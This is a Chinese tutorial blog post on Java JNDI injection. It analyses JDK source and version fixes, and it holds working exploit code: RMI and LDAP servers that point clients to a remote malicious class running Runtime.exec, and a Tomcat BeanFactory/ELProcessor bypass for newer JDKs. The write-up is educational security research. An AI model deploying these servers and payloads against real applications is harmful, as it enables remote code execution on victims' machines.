首页 > 其他分享 >jndi注入

jndi注入

时间:2024-11-26 15:49:21浏览次数:7  
标签:String codebase jndi new import rmi 注入

jndi注入

jndi简单来说是提供一个查找服务,你可以通过字符串找到对应的对象。而jndi需要有服务的提供者,也就是是谁来提供这些对象。jndi只是负责名字->对象的查找,而不提供对象。

可以作为服务提供者的:

Lightweight Directory Access Protocol (LDAP)
轻量级目录访问协议 (LDAP)

Common Object Request Broker Architecture (CORBA) Common Object Services (COS) name service
通用对象请求代理体系结构 (CORBA) 通用对象服务 (COS) 名称服务

Java Remote Method Invocation (RMI) Registry
Java 远程方法调用 (RMI) 注册表

Domain Name Service (DNS)
域名服务 (DNS)

jndi支持的对象:

rmi+jndi

客户端使用jdk 1.8.0_65

服务端:

package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class rmiJNDI {
    public static void main(String[] args) throws Exception{
//        Registry registry = LocateRegistry.createRegistry(12347);
//        Reference reference = new Reference("TestC","TestC","http://localhost:8989/");
//        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
//        registry.bind("test1",referenceWrapper);

        Registry registry = LocateRegistry.createRegistry(12347);
        InitialContext initialContext = new InitialContext();
        Reference reference = new Reference("TestC","TestC","http://localhost:8989/");
        initialContext.rebind("rmi://localhost:12347/test1",reference);
    }
}

客户端:

package org.example;

import javax.naming.InitialContext;

public class jndiClient {
    public static void main(String[] args) throws Exception{
//        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
//        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("rmi://localhost:12347/test1");
    }
}

写一个恶意类,恶意代码写在构造方法,编译为class文件(使用idea项目时注意这个类文件不要放在src/main/java/org.example里面)


public class TestC{
    public TestC() throws Exception{
        System.out.println("yes");
        Runtime.getRuntime().exec("calc");
    }
}

在编译的class文件所在目录启一个web服务:python -m http.server 8989

调试分析

启动服务端,在客户端使用了lookup函数处打上断点开始调试

InitialContext.lookup->GenericURLContext.lookup->RegistryContext.lookup->RegistryContext.decodeObject->NamingManager.getObjectInstance

重点是NamingManager.getObjectInstance的factory = getObjectFactoryFromReference(ref, f);在这一行打上断点步入

NamingManager.getObjectFactoryFromReference:

static ObjectFactory getObjectFactoryFromReference(
        Reference ref, String factoryName)
        throws IllegalAccessException,
        InstantiationException,
        MalformedURLException {
        Class<?> clas = null;

        // Try to use current class loader
        try {
             clas = helper.loadClass(factoryName);
        } catch (ClassNotFoundException e) {
            // ignore and continue
            // e.printStackTrace();
        }
        // All other exceptions are passed up.

        // Not in class path; try to use codebase
        String codebase;
        if (clas == null &&
                (codebase = ref.getFactoryClassLocation()) != null) {
            try {
                clas = helper.loadClass(factoryName, codebase);
            } catch (ClassNotFoundException e) {
            }
        }

        return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
    }

调试发现这里有loadClass进行类加载:clas = helper.loadClass(factoryName, codebase),但是类加载不会触发恶意类的构造方法,需要newInstance,看到最后一句代码:return (clas != null) ? (ObjectFactory) clas.newInstance() : null;这里会实例化触发恶意类构造方法从而弹计算器

修复

JDK6u41、JDK 7u131、JDK8u121开始修复rmi+jndi(RegistryContext的trustURLCodebase默认是false导致抛出异常),rmi+jndi的方式打不了了

jndi客户端修改版本为jdk 1.8.0_181,不能成功弹计算器

image-20240908233345426

lookup处打断点调试分析,跟到RegistryContext.decodeObject:

private Object decodeObject(Remote var1, Name var2) throws NamingException {
        try {
            Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
            Reference var8 = null;
            if (var3 instanceof Reference) {
                var8 = (Reference)var3;
            } else if (var3 instanceof Referenceable) {
                var8 = ((Referenceable)((Referenceable)var3)).getReference();
            }

            if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
                throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
            } else {
                return NamingManager.getObjectInstance(var3, var2, this, this.environment);
            }
        } catch (NamingException var5) {
            throw var5;
        } catch (RemoteException var6) {
            throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
        } catch (Exception var7) {
            NamingException var4 = new NamingException();
            var4.setRootCause(var7);
            throw var4;
        }
    }

在RegistryContext.decodeObject处的

if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
                throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
            }

这里的trustURLCodebase默认是false导致抛出异常不能执行NamingManager.getObjectInstance(var3, var2, this, this.environment)代码

如果没有单独设置com.sun.jndi.rmi.object.trustURLCodebase为true则默认为false

static {
        PrivilegedAction var0 = () -> {
            return System.getProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");
        };
        String var1 = (String)AccessController.doPrivileged(var0);
        trustURLCodebase = "true".equalsIgnoreCase(var1);
    }

ldap+jndi

客户端使用jdk 1.8.0_181

服务端pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>untitled</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>com.unboundid</groupId>
            <artifactId>unboundid-ldapsdk</artifactId>
            <version>6.0.0</version>
        </dependency>
    </dependencies>

</project>

ldap服务端:

package org.example;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.ldap.sdk.Entry;

public class ldapJNDI {
    private static final String LDAP_BASE="dc=example,dc=com";

    public static void main(String[] argsx) {
        String[] args=new String[] {"http://localhost:8989/#TestC"};	//要返回的HTTP地址,#号之后是部署在HTTP服务器上的Payload资源名称(Example.class,这里的“.class”省略,因为在后面会进行拼接)

        int port=12347;	//LDAP服务器监听端口
        try {
            InMemoryDirectoryServerConfig config=new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(
                    new InMemoryListenerConfig(
                            "listen",
                            InetAddress.getByName("0.0.0.0"),
                            port,
                            ServerSocketFactory.getDefault(),
                            SocketFactory.getDefault(),
                            (SSLSocketFactory)SSLSocketFactory.getDefault()
                    )
            );
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds=new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0");
            ds.startListening();
        }catch(Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor{

        private URL codebase;

        public OperationInterceptor(URL cb) {this.codebase=cb;}

        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base=result.getRequest().getBaseDN();
            Entry e=new Entry(base);
            try {
                sendResult(result, base, e);
            }catch(Exception e1) {
                e1.printStackTrace();
            }
        }

        protected void sendResult(InMemoryInterceptedSearchResult result,String base, Entry e) throws LDAPException,MalformedURLException{
            URL turl=new URL(this.codebase,this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for" + base + "redirecting to" + turl);
            e.addAttribute("javaClassName","foo");
            String cbstring=this.codebase.toString();
            int refPos=cbstring.indexOf('#');
            if(refPos>0) {
                cbstring=cbstring.substring(0,refPos);
            }
            e.addAttribute("javaCodeBase",cbstring);
            e.addAttribute("objectClass","javaNamingReference");
            e.addAttribute("javaFactory",this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }

}

ldap客户端:

package org.example;

import javax.naming.InitialContext;

public class jndiClient {
    public static void main(String[] args) throws Exception{
//       System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
//        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        InitialContext initialContext = new InitialContext();
//        initialContext.lookup("rmi://localhost:12347/test1");
        initialContext.lookup("ldap://localhost:12347/TestC");

//        remObj rObj = (remObj) initialContext.lookup("rmi://localhost:12347/theName");
//        rObj.sayName("qs");
    }
}

调试分析

还是在lookup处打上断点调试,跟踪分析

主要看VersionHelper12.loadClass

    public Class<?> loadClass(String className, String codebase)
            throws ClassNotFoundException, MalformedURLException {

        ClassLoader parent = getContextClassLoader();
        ClassLoader cl =
                 URLClassLoader.newInstance(getUrlArray(codebase), parent);

        return loadClass(className, cl);
    }

NamingManager.getObjectFactoryFromReference:

static ObjectFactory getObjectFactoryFromReference(
        Reference ref, String factoryName)
        throws IllegalAccessException,
        InstantiationException,
        MalformedURLException {
        Class<?> clas = null;

        // Try to use current class loader
        try {
             clas = helper.loadClass(factoryName);
        } catch (ClassNotFoundException e) {
            // ignore and continue
            // e.printStackTrace();
        }
        // All other exceptions are passed up.

        // Not in class path; try to use codebase
        String codebase;
        if (clas == null &&
                (codebase = ref.getFactoryClassLocation()) != null) {
            try {
                clas = helper.loadClass(factoryName, codebase);
            } catch (ClassNotFoundException e) {
            }
        }

        return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
    }

因为满足clas != null所有会执行(ObjectFactory) clas.newInstance(),恶意类实例化触发构造函数的恶意代码

修复

Oracle JDK 11.0.1、8u191、 7u201、 6u211开始又把ldap+jndi修复了,修复版本主要是在VersionHelper12.loadClass里面加了一个对trustURLCodebase的判断,由于trustURLCodebase默认为false,使得NamingManager.getObjectFactoryFromReference中的clas变量为空进而无法实例化恶意类

jdk 1.8.0_181的VersionHelper12.loadClass:

    public Class<?> loadClass(String className, String codebase)
            throws ClassNotFoundException, MalformedURLException {

        ClassLoader parent = getContextClassLoader();
        ClassLoader cl =
                 URLClassLoader.newInstance(getUrlArray(codebase), parent);

        return loadClass(className, cl);
    }

客户端使用jdk 1.8.0_202调试分析

jdk 1.8.0_202的VersionHelper12.loadClass:

 public Class<?> loadClass(String className, String codebase)
            throws ClassNotFoundException, MalformedURLException {
        if ("true".equalsIgnoreCase(trustURLCodebase)) {
            ClassLoader parent = getContextClassLoader();
            ClassLoader cl =
                    URLClassLoader.newInstance(getUrlArray(codebase), parent);

            return loadClass(className, cl);
        } else {
            return null;
        }
    }

可以看到jdk 1.8.0_202的VersionHelper12.loadClass加了一个判断if ("true".equalsIgnoreCase(trustURLCodebase)),而trustURLCodebase需要设置为true,否则默认为false,所有这里执行else返回null,所以NamingManager.getObjectFactoryFromReference中的clas变量为空进而无法实例化恶意类

private static final String TRUST_URL_CODEBASE_PROPERTY =
            "com.sun.jndi.ldap.object.trustURLCodebase";
    private static final String trustURLCodebase =
            AccessController.doPrivileged(
                new PrivilegedAction<String>() {
                    public String run() {
                        try {
                        return System.getProperty(TRUST_URL_CODEBASE_PROPERTY,
                            "false");
                        } catch (SecurityException e) {
                        return "false";
                        }
                    }
                }
            );

高版本jdk绕过

RMI+JNDI

通过上述分析发现高版本的jdk无法再利用rmi或者ldap加jndi进行攻击,原因是高版本的jdk默认trustURLCodebase为false无法加载远程恶意类,而分析NamingManager.getObjectFactoryFromReference时知道它会先根据factoryName本地加载类:clas = helper.loadClass(factoryName),如果没找到再加一个codebase变量远程加载类:clas = helper.loadClass(factoryName, codebase)

看ldap修复时知道DirectoryManager.getObjectInstance里面的 factory = NamingManager.getObjectFactoryFromReference由于trustURLCodebase为false返回的是null,所以无法进入factory的getObjectInstance函数

image-20240910112522729

所以我们的思路就是:找一个实现了ObjectFactory的本地类,这个本地类重写了getObjectInstance函数(重写的逻辑可以来利用),到时候执行factory.getObjectInstance时触发恶意代码。

我们要找的这个类只要是我们要攻击的jndi客户端有的就可以(可以是jdk自带,也可以是maven依赖带有的,找的原则就是符合条件的情况下这个类使用越广越好),看网上的文章用的是:org.apache.naming.factory.BeanFactory,这个类存在于tomcat依赖包使用广泛。

jndi服务端pom.xml依赖:

<dependencies>
        <dependency>
            <groupId>com.unboundid</groupId>
            <artifactId>unboundid-ldapsdk</artifactId>
            <version>6.0.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-core</artifactId>
            <version>8.5.38</version>
        </dependency>
    </dependencies>

jndi服务端代码:

package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class highJdkRmiJndi {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);  //ResourceRef与Reference作用是一样的,第一个参数是添加了ELProcessor类,第六个参数指定factory为BeanFactory
        resourceRef.add(new StringRefAddr("forceString", "a=eval")); //添加类型forceString,内容a=eval
        resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec('calc')")); //添加类型为x,内容为后面的exec
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef); //同样的对构造对象进行封装为远程对象
        registry.bind("EvalObj", referenceWrapper);
    }
}

jndi客户端pom.xml依赖:

<dependencies>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>8.5.38</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-jasper-el</artifactId>
            <version>8.5.38</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-el</artifactId>
            <version>8.5.38</version>
        </dependency>
    </dependencies>

jndi客户端代码:

package org.example;

import javax.naming.InitialContext;

public class jndiClient {
    public static void main(String[] args) throws Exception{
        //high JDK rmi+jndi
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("rmi://localhost:1099/EvalObj");//现实中能找到lookup的参数可控且依赖符合,就可以自己启服务端攻击
    }
}

调试

客户端在BeanFactory的getObjectInstance函数打个断点

我打在了:

image-20240910233926011

debug运行,一行一行的调,发现它的逻辑会获取forceString对应的contents,也就是a=eval,然后字符串切分得到eval字符串,再得到javax.el.ELProcessor类的eval方法,然后利用反射执行eval方法,参数就是"Runtime.getRuntime().exec('calc')"

image-20240910234747444

反正有payload动态调试很容易理清楚逻辑,难的是自己写payload时需要静态分析BeanFactory的getObjectInstance函数逻辑,然后就是需要通透地理解BeanFactory类、ResourceRef类以及javax.el.ELProcessor类,还要清楚它们之间的联系

jdk版本修复汇总

JDK6u41、JDK 7u131、JDK8u121开始修复rmi+jndi,rmi+jndi的方式打不了了,此时还可以使用ldap+jndi

Oracle JDK 11.0.1、8u191、 7u201、 6u211开始又把ldap+jndi修复了,此时就是使用beanfactory绕过

标签:String,codebase,jndi,new,import,rmi,注入
From: https://www.cnblogs.com/q1stop/p/18570305

相关文章

  • SQL注入常用语句及一道有意思的题:[GYCTF2020]Blacklist
    SQL注入0x01:联合查询注入常用语句:/?id=1'and1'='2或/?id=1and1=2//判断是字符型注入还是数字型注入//下面以字符型为例/?id=1'unionselect1,2,3#//爆回显位/?id=1'unionselect1,2,database()#//爆数据库名/?id=1'unionselect1,2,group_concat(table_name)fr......
  • 深入理解JDBC API:从SQL注入到PreparedStatement的安全解决方案
    深入理解JDBCAPI:从SQL注入到PreparedStatement的安全解决方案引言在现代Web应用开发中,数据库操作是不可或缺的一部分。Java数据库连接(JDBC)API为Java开发者提供了一种与数据库交互的标准方式。然而,随着应用的复杂性增加,安全问题也随之而来。其中,SQL注入是最常见且危险的安全漏洞......
  • 高校智慧平台SExcelExpErr存在SQL注入漏洞
    0x01阅读须知        本文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考。本文章仅用于信息安全防御技术分享,因用于其他用途而产生不良后果,作者不承担任何法律责任,请严格遵循中华人民共和国相关法律法规,禁......
  • 「漏洞复现」BladeX企业级开发平台 tenant/list SQL 注入漏洞复现(CVE-2024-33332)
    0x01 免责声明请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需......
  • 众智OA办公系统 Login SQL注入漏洞复现
    0x01产品描述:   ‌众智OA办公系统是一种专门为企业和机构的日常办公工作提供服务的综合性软件平台。‌它凭借先进的技术和人性化的设计理念,实现了信息的快速传递和自动化处理,帮助企业和机构实现信息化、自动化、智能化和标准化的办公管理‌0x02漏洞描述:   众......
  • MySQL注入load_file常用路径
            在MySQL注入攻击中,攻击者可能会尝试利用LOAD_FILE()函数来读取服务器上的敏感文件。LOAD_FILE()函数允许从服务器的文件系统中读取文件,并将其内容作为字符串返回。然而,这个函数需要满足一定的权限条件,并且文件路径必须是服务器能够访问的。WINDOWS下:c:/boo......
  • sql注入学习
    万能密码网站后台的数据查询语句为:select*frommember whereusername='&user'andpasswd='&pwd'正常使用者帐号是admin,密码12345,那么SQL语句就变为:select*frommemberwhereusername='admin'andpasswd='123456'输入用户名admin(也可任意输入),密码abc'or......
  • SQL Injection | MySQL 手工注入全流程
    0x01:MySQL手工注入——理论篇手工注入MySQL数据库,一般分为以下五个阶段,如下图所示:第一阶段-判断注入点:在本阶段中,我们需要判断注入点的数据类型(数字型、字符型、搜索型、XX型)与后端查询方式,并使用对应的SQL语句进行测试,判断出目标是否存在注入点。第二阶段-......
  • 【Spring篇】初识之Spring的入门程序及控制反转与依赖注入
         ......
  • DNS注入&一句话木马
    DNS注入DNS注入主要是利用DNS的日志会存储用户的请求解析信息的特点,通过这一点,可以使得数据外带,将访问者的相关信息暴露出来。我们可以利用DNSLOG平台来达到我们的目标:DNS平台:http://www.dnslog.cn/点击GetSubDomain可以随机获得一个域名尝试ping这个域名ping......